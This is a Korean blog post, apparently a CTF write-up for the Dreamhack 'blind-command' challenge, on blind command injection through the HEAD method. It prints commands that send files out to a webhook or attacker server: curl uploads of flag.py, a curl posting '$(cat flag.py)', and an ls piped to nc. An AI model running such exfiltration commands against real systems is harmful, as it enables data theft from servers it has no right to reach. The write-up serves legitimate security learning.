티스토리 뷰
https://dreamhack.io/wargame/challenges/73/
blind-command
Read the flag file XD Reference Server-side Basic Server-side Advanced - Command Injection
dreamhack.io
하하하하하ㅏ 드디어 풀엇다
먼저 실행 파일을 보면,
분명 / 경로에서 GET method로 지정되어 있는데,
else 부분에서는 request.method가 GET이 아닐 때에만 os.system() 이 실행되는 것을 볼 수 있다.
여기서 알 수 있는 것은
1. GET 을 이용하여서는 os.system을 실행시킬 수 없음
2. 실행시키더라도 실행 결과가 나에게 보여지지 않음
이다.
2번 때문에 blind command 인 거겠지만
어쨌든 실행 결과가 나에게 보여지지 않기 때문에.. 결과가 나에게 보여지도록 내 서버로 데이터를 전송하는 과정이 있어야 한다.
이를 해결하기 위해 webhook 기능을 지원하는 페이지를 사용했다. (pipedream을 사용했지만 slack도 지원하는 듯 함)
1번을 해결하기 위해서는 http method들을 찾아보았는데
HEAD 라는 메소드가 GET 메소드의 요청과 동일한 응답을 요구하지만, 응답 본문을 포함하지 않는다. 라고 정의되어 있어
이걸 이용해야겠다.. 라는 생각이 강하게 들었다.
(POST, PUT 등등으로도 시도해봤지만 페이지 에러가 뜸)
+(OPTIONS 메소드를 이용하여 어느 옵션을 사용하여 통신 가능한 지 확인 가능)
이 때 curl 명령어를 이용하여 데이터를 수신하도록 하였다.
처음에는 위에서처럼 test get 인자에 명령어 실행 결과를 넣어 전송하는 방식으로 생각하였는데,
아무리 찾아도 파일 자체를 전송하는 방법이 대부분이어서
실행 결과를 파일에 저장 후, 파일을 수신받는 방식으로 생각을 바꾸었다.
먼저 ls 출력 결과를 test.txt 파일에 저장
cmd="ls"
os.system(cmd+" 1>./test.txt"+" 2>./error.txt")
error.txt 도 지정해주어야 한다는 얘기가 있어 지정해 주었음..
curl F 옵션을 이용하여
curl -F “file=@./test.txt” https://adb3a949c8c16ec6211a78d7064ef848.m.pipedream.net/
같은 방식으로 flag.py을 전송받으면
curl -F “file=@./flag.py” https://adb3a949c8c16ec6211a78d7064ef848.m.pipedream.net/
플래그를 얻을 수 있음
+++++
/?cmd=curl https://myserver/ -d "$(cat flag.py)"
이렇게도 가능하다고 함!!!!!!!!!!
++
ls | nc myserver.com port
와 같은 형식으로 nc명령어를 이용하여 ls 명령어의 실행 결과를 내 서버에 전송 가능.
이 때에는 내 서버에서 포트포워딩, 해당 포트 번호로 listen 등의 작업이 필요함 ..
NC (NetCat) 명령어 사용하기 (tistory.com)
NC (NetCat) 명령어 사용하기
NetCat(넷캣)? 넷캣은 TCP, UDP를 사용하여 네트워크 연결을 하여 읽기 쓰기를 해주는 유틸리티 프로그램입니다. NetCat, NC, 넷캣과 같은 이름으로 불리고 있습니다. https://en.wikipedia.org/wiki/Netcat netca..
epicarts.tistory.com
http methods
HTTP 요청 메서드 - HTTP | MDN (mozilla.org)
HTTP 요청 메서드 - HTTP | MDN
HTTP는 요청 메서드를 정의하여, 주어진 리소스에 수행하길 원하는 행동을 나타냅니다. 간혹 요청 메서드를 "HTTP 동사"라고 부르기도 합니다. 각각의 메서드는 서로 다른 의미를 구현하지만, 일부
developer.mozilla.org
HEAD 메소드에 대한 응답은 본문을 가져서는 안 되며,(body 얘기인 듯)
헤더 정도만 포함 가능
OPTIONS method
https://developer.mozilla.org/ko/docs/Web/HTTP/Methods/OPTIONS
OPTIONS - HTTP | MDN
HTTP OPTIONS method 는 목표 리소스와의 통신 옵션을 설명하기 위해 사용됩니다. 클라이언트는 OPTIONS 메소드의 URL을 특정지을 수 있으며, aterisk(*) 를 통해 서버 전체를 선택할 수 있습니다.
developer.mozilla.org
shell에서 출력 결과를 text file로 redirect
Redirecting os.system output to a text file in python - Stack Overflow
Redirecting os.system output to a text file in python
Trying the below I get a file Import_Conf_Output.txt2 created as empty, can anyone tell me what is wrong? cmd1 = 'my command' os.system(cmd1 + "1>&/home/s_admin/Import_Conf_Output.txt" + "...
stackoverflow.com
blind command injection ( wget + curl )
+ flask 이용하여 간단하게 데이터를 받을 수 있는 서버 만들기
Blind Command Injection - Vulning Sun (hatenablog.com)
Blind Command Injection - Vulning Sun
Command Injection with CURL blind command injection 일반적인 command injection의 경우, 입력값에 대한 결과값을 그대로 볼 수 있는 경우를 일반적으로 생각하는데, Blind Command Injection의 경우 결과를 True or False만
leesh0.hatenablog.com
blind os command injection
BLIND OS COMMAND INJECTION | HACKTAGON
Blind OS Command Injection
powered by mukpiece
hacktagon.github.io
'hacking > WEB hacking' 카테고리의 다른 글
curl (0) | 2021.07.05 |
---|---|
baby-sqlite (0) | 2021.06.28 |
cypto 간단 정리 (0) | 2021.06.26 |
regex (0) | 2021.03.24 |
mongoboard(MongoDB) (0) | 2021.03.22 |
- Total
- Today
- Yesterday
- 백트래킹
- 최단 거리
- 참조 지역성
- MinHeap
- 부분 합
- RequiredArgsConstructor
- Greedy
- prirotyqueue
- Knapsack
- LowerBound
- dfs
- 비트마스킹
- 동적계획법
- 페르마의 정리
- 누적 합
- Priority Queue
- HashSet
- 완전 탐색
- 위상 정렬
- 분할 정복
- 배낭 문제
- 완전탐색
- Segment Tree
- 구간 합
- 희소 배열
- MaxHeap
- 분할정복
- 이분탐색
- Sort
- dp
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |